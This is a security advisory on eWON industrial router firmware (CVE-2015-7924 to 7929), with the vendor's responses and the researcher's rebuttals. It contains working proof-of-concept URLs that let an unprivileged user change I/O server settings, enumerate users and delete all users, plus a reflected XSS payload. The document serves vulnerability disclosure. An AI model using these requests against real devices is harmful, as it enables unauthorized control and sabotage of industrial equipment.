eWON XSS / CSRF / Session Management / RBAC Issues

`*eWON sa Industrial router - Multiple Vulnerabilities*  
  
eWON connects the machine across the Internet  
  
Breaking the barrier between industrial applications and IT standards, the  
mission of eWON is to connect industrial machines securely to the Internet,  
enabling easy remote access and gathering all types of technical data  
originating from industrial machines.  
  
Typical applications within the scope of our mission include remote  
maintenance, predictive maintenance, remote services, asset management,  
remote metering, multi-site building management, M2M, and more.  
  
*AFFECTED PRODUCTS*  
  
The following eWON router firmware versions are affected:  
*All eWON firmware versions prior to 10.1s0*  
  
  
*Reference*  
https://ics-cert.us-cert.gov/advisories/ICSA-15-342-01  
  
*Vulnerabilities*  
  
*WEAK SESSION MANAGEMENT - FIXED by eWON*  
  
CVE-2015-7924  
  
Session remains active even after user performs log off. This vulnerability  
is by design. Session is destroyed only after browser is exited.  
  
  
*CROSS-SITE REQUEST FORGERY ATTACKS - NOT FIXED by eWON*  
  
CVE-2015-7925  
  
There is no CSRF token set by the application in any of the forms / pages.  
Any & all functions can be executed silently without getting validated from  
authorized user, if / when this issue is exploited.  
  
…..…..…..…..…..…..…..…..…..…..…..…..…..…..…..…..…..…..  
  
*eWON says*Verified but won't fix. The current implementation is done by  
design (the user must be able to submit forms using GET only).  
  
As CSRF attack suggests, the user must be already logged on the eWON using  
its internet browser and the session must thus be valid on user's browser.  
However eWON IP must also be known by the attacker knowing that the VPN  
will set another IP each time the victim connects to eWON.  
  
The connection to an eWON device is only possible by a secured VPN, a  
point- to-point LAN or a secured LAN.  
  
On their website, eWON describes this issue as following:  
http://ewon.biz/support/news/support/ewon-security-enhancement-7529-01  
  
Mitigating factors:  
  
Many requirements have to be met for a successful attack:  
  
The attacker needs a valid login to the eWON.  
  
The attacker needs HTTP access to the eWON (e.g. eWON web server exposed to  
the public Internet).  
  
Also connections to eWON devices should in standard use cases only occur  
through:  
  
- a point-to-point LAN, a secured LAN (sniffing the victim IP is not really  
achievable in these two cases)  
  
- or a secured VPN (VPN allocated IP address is then defined by the VPN  
server).  
—> eWON team just doesn't understand how CSRF works. And continue to assume  
the device mgmt portal is accessible ONLY over the VPN, P2P LAN or secured  
LAN. They clearly have not looked at Shodan and / or publicly accessible  
portals.  
…..…..…..…..…..…..…..…..…..…..…..…..…..…..…..…..…..…..  
  
*WEAK RBAC CONTROLS - FIXED by eWON*  
  
CVE-2015-7926  
  
The software allows an unauthenticated user to gather information and  
status of I/O servers through the use of a forged URL.  
  
*NOTE*: It should be -  
*An unauthorized / low-privileged user can perform several unauthorized  
actions such as reading, updating, & deleting I/O servers, configurations,  
enabling/disabling I/O servers, & accessing, deleting valid users.*  
*Scenario*  
  
Two users  
  
1. adm - Default privileged user - can perform all administrative functions  
- full rights - [ v o a c f e h j ]  
2. test - newly created user - no rights - no [ v o a c f e h j ]  
  
*Issue 1*  
  
  
*It is possible to enumerate valid I/O servers*  
I/O Server list is a set defined list:  
MEM cbIOSrvList=0  
EWON cbIOSrvList=1  
MODBUS cbIOSrvList=2  
NETMPI ...  
SNMP cbIOSrvList=4  
DF1 ...  
FINS ...  
so on  
...  
...  
& others  
  
An unauthorized / unprivileged user can gather information and status of  
these IO servers in the following manner:  
  
*Logged in as ‘test'*  
  
Access -  
http://<IP>/rcgi.bin/Edit1IOSrvForm?cbIOSrvList=0&Ac2on=edit  
  
If Response says  
-> Not Configurable.  
-> Implies Not a valid I/O  
  
If Response says  
-> Access Denied  
-> Implies a valid I/O  
-> Window Title reveals the I/O server type - example, Modbus IO Server  
Config, DF1 1O Server Config, n so on  
  
*Issue 2*  
  
*It is possible to modify parameter values of I/O servers directly*Updating  
the values when logged in as 'test'  
  
Change POST request to GET Modify param values  
  
http://<IP>/rcgi.bin/EditUsrIOSrvForm?edCfgData=MinInterval%3A10%0D  
%0AMaxInterval%3A268435459%0D%0AReverseCount %3A0&B1=Update&AST_IOSrvNdx=1  
  
Response  
-> IO Server config updated.  
  
Similarly, other I/O server configuration can be updated. In case an I/O  
server is not Enabled, it can be enabled and configured with custom values.  
  
  
*Following poc for SNMP I/O Server settings (This IO server communicates  
with any SNMP device)*  
Enabling and configuring SNMP I/O server (logged in as test)  
  
http://<IP>/rcgi.bin/EditAdvUsrIOSrvForm?  
edEnabledA=1&edGlobAddrA=&edPeriodA=&edGlobAddrB=&edPeriodB=&edGlo  
bAddrC=&edPeriodC=&B1=Update+Config&IOServer=SNMP  
  
-> IO Server config updated.  
  
*Issue 3*  
  
*Deleting All Users*  
It is possible for a user with no rights to:  
  
1. Enumerate configured users  
2. Delete any & all users.  
  
HTTP GET request to delete a user (when logged in as 'test') (unauthorized  
request)  
  
http://<IP>/rcgi.bin/EditForm?CB2=3&NbCB=4&Opera2onType=DeleteUser  
  
This brings up a confirmation prompt validating if we really want to delete  
the user.  
  
It presents the username and offers two options -  
Option 1 - Cancel and Confirm/Delete  
Option 2 - Select Confirm/Delete  
.....  
Users List test  
Please confirm you want to delete these items Select Confirm/Delete  
.....  
  
Next, the url redirects to DeleteForm which then shows Access denied twice  
..... http://<IP>/rcgi.bin/DeleteForm  
Access denied  
Access denied  
.....  
-> But the user gets deleted anyway. :) Verify by Refreshing User List  
  
  
*Enumerating Users*  
In order to enumerate valid users, we only need to submit the first  
DeleteUser request  
  
http://<IP>/rcgi.bin/EditForm?CB2=4&NbCB=3&Opera2onType=DeleteUser  
  
It will show the username.  
  
This process can of course be automated to view all valid application  
usernames.  
…..…..…..…..…..…..…..…..…..…..…..…..…..…..…..…..…..…..  
  
*eWON considered WEAK RBAC issue a minor one. Apparently, they didn’t  
understood the impact at all.*  
eWON said:  
It's a minor issue as these informations are already available through eWON  
User Manual. We will however completely block the page in a future eWON  
firmware release when user credentials don't meet the requirements to avoid  
any ambiguity regarding eWON security.  
  
—> Regardless, the new firmware says this issue has been fixed..  
  
…..…..…..…..…..…..…..…..…..…..…..…..…..…..…..…..…..…..  
  
*STORED CROSS-SITE SCRIPTING - NOT FIXED by eWON*  
CVE-2015-7927  
  
  
*Vulnerable functions / parameters*  
Create / Edit User  
User First Name  
User Last Name  
User information  
Create / Edit Tag  
Tag Description  
…..…..…..…..…..…..…..…..…..…..…..…..…..…..…..…..…..…..  
eWON says  
  
Verified.  
Won't fix: We left the possibility to include HTML tags or javascript in  
form fields and form url parameters to meet some specific final user needs.  
Note that this kind of injection is achievable through FTP upload as  
everything is saved in the eWON config files. Furthermore all theses XSS  
exploit also require valid user authentication and rights.  
  
—> Yeah, it’s a feature and input validation is a useless practice anyway..  
…..…..…..…..…..…..…..…..…..…..…..…..…..…..…..…..…..…..  
  
  
*Reflected XSS - NOT FIXED by eWON*  
Vulnerable parameter - AST_ErrorMsg  
  
http://<IP>/rcgi.bin/wsdForm?sys_Csave=1&AST_ErrorMsg=Success<script>alert("xss-AST_ErrorMsg")</  
script>&sys_IpMbsSrvPort=502&sys_IpEipSrvPort=44818&sys_IpIsoSrvPort=102&  
sys_IpFinsSrvPort=9600&sys_TagPollMode=0&sys_IOTcpDefTO=1000&btUpdate=  
Update  
  
*PASSWORDS NOT SECURED - PARTIAL FIX by eWON*  
CVE-2015-7928  
  
Passwords are passed in plain text allowing a malicious party to retrieve  
them from network traffic. The autocomplete setting of some eWON forms also  
allows these passwords to be retrieved from the browser. Compromise of the  
credentials would allow unauthenticated access.  
…..…..…..…..…..…..…..…..…..…..…..…..…..…..…..…..…..…..  
eWON says  
  
2. Won't fix as the final user is supposed to configure eWON through VPN.  
—> Yeah, *supposed to*..  
…..…..…..…..…..…..…..…..…..…..…..…..…..…..…..…..…..…..  
  
*POST/GET ISSUES - NOT FIXED by eWON*  
CVE-2015-7929  
  
eWON firmware web server allows the use of the HTML command GET in place of  
POST. GET is less secure because data that are sent are part of the URL.  
…..…..…..…..…..…..…..…..…..…..…..…..…..…..…..…..…..…..  
eWON says  
Won't fix. This could be a problem regarding CRSF (issue B) but the final  
user is supposed to configure eWON through VPN (and thus https).  
  
Mitigating factors:  
  
This could be an issue regarding the CSRF attacks described above. However  
as already mentioned the eWON firmware exposure to CSRF attacks is really  
limited. Thus having equivalent POST and GET parameters handling for each  
request sent to the eWON webserver is by extension not problematic.  
  
—> Yeah, *supposed to*.. Not problematic...  
…..…..…..…..…..…..…..…..…..…..…..…..…..…..…..…..…..…..  
--   
Best Regards,  
Karn Ganeshen  
  
  
`